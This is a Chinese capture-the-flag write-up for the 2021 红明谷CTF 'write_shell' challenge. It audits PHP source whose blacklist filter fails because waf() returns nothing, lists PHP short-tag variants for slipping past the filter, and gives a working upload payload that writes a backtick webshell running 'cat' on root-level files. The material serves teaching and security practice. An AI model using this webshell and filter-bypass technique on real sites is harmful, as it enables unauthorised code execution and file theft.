[红明谷CTF 2021]write_shell

打开靶机

发现源代码已经写在页面上

代码审计

第一段,check函数

php 复制代码
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

功能:用正则表达式过滤输入内容,禁止包含以下字符 / 字符串(不区分大小写):

引号 '、空格 、下划线 _php、分号 ;、波浪线 ~、异或 ^、加号 +eval、大括号 {}

第二段,waf函数

php 复制代码
function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

功能:如果输入是数组,递归处理每个元素;否则调用 check() 过滤。

致命 bug :函数没有 return 语句!这意味着经过 waf() 处理后,输入内容不会被返回,过滤完全失效。

第三段,目录创建

php 复制代码
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}

功能:根据访问者的 IP 地址($_SERVER['REMOTE_ADDR'])生成一个 MD5 哈希值,在 sandbox/ 目录下创建专属子目录。

第四段,核心主程序,文件上传

php 复制代码
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

功能:通过 GET 参数 action 控制行为:

action=pwd:输出当前用户的专属目录路径。

action=upload:获取 GET 参数 data,调用 waf() 过滤(实际无效),然后将 data 写入目录下的 index.php

访问当前用户专属目录路径

进行文件上传

要执行php命令就要用<?php,但php被禁用了,这里就需要使用php的短标签<? ?>,由于空格也被禁用了,我们可以用${IFS}来替代

<? echo '标准短标签'; ?>

<?= '等效于echo的短标签' ?>

<% echo 'ASP风格标签' %>

<script language="php"> echo '长格式标签' </script>

注意:<?=在PHP 5.4+中始终可用,无需开启short_open_tag选项

php 复制代码
?action=upload&data=<?echo%09`cat%09/*`?>

访问文件上传的路径

参考

BUUCTF--红明谷CTF 2021write_shell

红明谷CTF 2021 write_shell通关秘籍:PHP短标签与反引号命令执行的巧妙结合

相关推荐
BingoGo2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
JaguarJack2 天前
PHP 泛型之殇 泛型 RFC 提案被拒绝
后端·php
用户3074596982073 天前
PHP 扩展——从入门到理解
php
鹏仔先生3 天前
拷贝漫画APP下载页PHP程序,后台带免费AI写作
php
云水一下4 天前
从零开始学 PHP 系列(一):PHP 的前世今生与开发环境搭建
开发语言·php
xingpanvip4 天前
星盘接口开发文档:本命盘接口指南
android·开发语言·css·php·lua
酉鬼女又兒4 天前
零基础入门计算机网络运输层:端到端通信核心作用、端口号分类规则、复用分用工作机制及UDP与TCP协议全方位对比详解
网络·网络协议·tcp/ip·计算机网络·考研·udp·php
dog2504 天前
不要再继续优化 TCP
网络协议·tcp/ip·php
Channing Lewis4 天前
PHP 解析 Excel 的那些坑:一次“行号错位”引发的数据丢失
开发语言·php·excel
Cheng小攸4 天前
渗透行为分析与检测
开发语言·php